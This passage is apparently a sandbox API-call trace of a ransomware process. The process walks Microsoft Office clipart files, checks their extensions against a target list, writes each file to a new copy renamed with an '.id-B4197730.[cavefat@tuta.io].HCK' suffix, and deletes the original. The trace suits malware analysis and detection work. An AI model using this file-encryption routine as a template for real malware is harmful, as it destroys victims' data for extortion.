(lpString=".rar") returned 4 [0171.745] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString=".bz2") returned 4 [0171.745] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString=".7z") returned 3 [0171.745] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.745] lstrlenW (lpString=".dbf") returned 4 [0171.745] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".1cd") returned 4 [0171.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".jpg") returned 4 [0171.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".doc") returned 4 [0171.746] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString=".docx") returned 5 [0171.746] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0171.746] lstrlenW (lpString=".pdf") returned 4 [0171.746] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString=".xls") returned 4 [0171.746] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.746] lstrlenW (lpString=".xlsx") returned 5 [0171.746] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0171.746] lstrlenW (lpString=".ppt") returned 4 [0171.746] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".zip") returned 4 [0171.746] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.746] lstrlenW (lpString=".rar") returned 4 [0171.746] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString=".bz2") returned 4 [0171.746] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString=".7z") returned 3 [0171.746] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".dbf") returned 4 [0171.746] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".1cd") returned 4 [0171.746] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0281632.WMF") returned 68 [0171.746] lstrlenW (lpString=".jpg") returned 4 [0171.746] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.746] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.746] lstrlenW (lpString="J0282928.WMF") returned 12 [0171.746] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0171.754] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=33126) returned 1 [0171.754] CloseHandle (hObject=0x2ec) returned 1 [0171.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf")) returned 0x220 [0171.757] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.759] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.759] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0171.765] GetLastError () returned 0x0 [0171.765] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x8166, lpOverlapped=0x0) returned 1 [0171.767] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x8170, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x8170, lpOverlapped=0x0) returned 1 [0171.768] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.768] WriteFile (in: hFile=0x394, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.769] SetEndOfFile (hFile=0x394) returned 1 [0171.775] CloseHandle (hObject=0x394) returned 1 [0171.776] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.776] SetEndOfFile (hFile=0x2f0) returned 1 [0171.779] CloseHandle (hObject=0x2f0) returned 1 [0171.783] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0282928.wmf")) returned 1 [0171.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.786] lstrlenW (lpString=".doc") returned 4 [0171.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.786] lstrlenW (lpString=".docx") returned 5 [0171.786] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.786] lstrlenW (lpString=".pdf") returned 4 [0171.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString=".xls") returned 4 [0171.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.787] lstrlenW (lpString=".xlsx") returned 5 [0171.787] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.787] lstrlenW (lpString=".ppt") returned 4 [0171.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString=".zip") returned 4 [0171.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.787] lstrlenW (lpString=".rar") returned 4 [0171.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString=".bz2") returned 4 [0171.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString=".7z") returned 3 [0171.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString=".dbf") returned 4 [0171.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString=".1cd") returned 4 [0171.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString=".jpg") returned 4 [0171.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.787] lstrlenW (lpString=".doc") returned 4 [0171.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString=".docx") returned 5 [0171.787] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0171.787] lstrlenW (lpString=".pdf") returned 4 [0171.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.787] lstrlenW (lpString=".xls") returned 4 [0171.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.787] lstrlenW (lpString=".xlsx") returned 5 [0171.787] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0171.787] lstrlenW (lpString=".ppt") returned 4 [0171.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.788] lstrlenW (lpString=".zip") returned 4 [0171.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.788] lstrlenW (lpString=".rar") returned 4 [0171.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.788] lstrlenW (lpString=".bz2") returned 4 [0171.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.788] lstrlenW (lpString=".7z") returned 3 [0171.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.788] lstrlenW (lpString=".dbf") returned 4 [0171.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.788] lstrlenW (lpString=".1cd") returned 4 [0171.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0282928.WMF") returned 68 [0171.788] lstrlenW (lpString=".jpg") returned 4 [0171.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.788] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.788] lstrlenW (lpString="J0285780.WMF") returned 12 [0171.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0171.796] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=31068) returned 1 [0171.796] CloseHandle (hObject=0x330) returned 1 [0171.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf")) returned 0x220 [0171.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0171.808] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.808] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0171.815] GetLastError () returned 0x0 [0171.815] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x795c, lpOverlapped=0x0) returned 1 [0171.817] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x7960, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x7960, lpOverlapped=0x0) returned 1 [0171.818] ReadFile (in: hFile=0x2f0, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.818] WriteFile (in: hFile=0x388, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.818] SetEndOfFile (hFile=0x388) returned 1 [0171.822] CloseHandle (hObject=0x388) returned 1 [0171.823] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.823] SetEndOfFile (hFile=0x2f0) returned 1 [0171.828] CloseHandle (hObject=0x2f0) returned 1 [0171.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285780.wmf")) returned 1 [0171.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.833] lstrlenW (lpString=".doc") returned 4 [0171.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.833] lstrlenW (lpString=".docx") returned 5 [0171.833] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.833] lstrlenW (lpString=".pdf") returned 4 [0171.833] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.833] lstrlenW (lpString=".xls") returned 4 [0171.833] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.833] lstrlenW (lpString=".xlsx") returned 5 [0171.833] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.833] lstrlenW (lpString=".ppt") returned 4 [0171.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".zip") returned 4 [0171.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.834] lstrlenW (lpString=".rar") returned 4 [0171.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".bz2") returned 4 [0171.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".7z") returned 3 [0171.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".dbf") returned 4 [0171.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".1cd") returned 4 [0171.834] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".jpg") returned 4 [0171.834] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".doc") returned 4 [0171.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".docx") returned 5 [0171.834] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.834] lstrlenW (lpString=".pdf") returned 4 [0171.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".xls") returned 4 [0171.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.834] lstrlenW (lpString=".xlsx") returned 5 [0171.834] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.834] lstrlenW (lpString=".ppt") returned 4 [0171.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".zip") returned 4 [0171.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.834] lstrlenW (lpString=".rar") returned 4 [0171.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".bz2") returned 4 [0171.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.834] lstrlenW (lpString=".7z") returned 3 [0171.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.834] lstrlenW (lpString=".dbf") returned 4 [0171.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.835] lstrlenW (lpString=".1cd") returned 4 [0171.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285780.WMF") returned 68 [0171.835] lstrlenW (lpString=".jpg") returned 4 [0171.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.835] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0171.835] lstrlenW (lpString="J0285820.WMF") returned 12 [0171.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0171.840] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8720) returned 1 [0171.840] CloseHandle (hObject=0x360) returned 1 [0171.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf")) returned 0x220 [0171.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0171.848] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0171.850] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.850] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0171.853] GetLastError () returned 0x0 [0171.853] ReadFile (in: hFile=0x3a8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x2210, lpOverlapped=0x0) returned 1 [0171.855] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2220, lpOverlapped=0x0) returned 1 [0171.856] ReadFile (in: hFile=0x3a8, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0171.856] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0171.856] SetEndOfFile (hFile=0x39c) returned 1 [0171.858] CloseHandle (hObject=0x39c) returned 1 [0171.859] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0171.859] SetEndOfFile (hFile=0x3a8) returned 1 [0171.862] CloseHandle (hObject=0x3a8) returned 1 [0171.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0171.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0285820.wmf")) returned 1 [0171.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.870] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.870] lstrlenW (lpString=".doc") returned 4 [0171.870] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.870] lstrlenW (lpString=".docx") returned 5 [0171.870] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0171.870] lstrlenW (lpString=".pdf") returned 4 [0171.870] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.870] lstrlenW (lpString=".xls") returned 4 [0171.870] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.870] lstrlenW (lpString=".xlsx") returned 5 [0171.871] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0171.871] lstrlenW (lpString=".ppt") returned 4 [0171.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0285820.WMF") returned 68 [0171.871] lstrlenW (lpString=".zip") returned 4 [0171.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.871] lstrlenW (lpString=".rar") returned 4 [0171.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString=".bz2") returned 4 [0171.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.871] lstrlenW (lpString=".7z") returned 3 [0171.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.871] lstrlenW (lpString="C:\\Program Files\\Microsoft 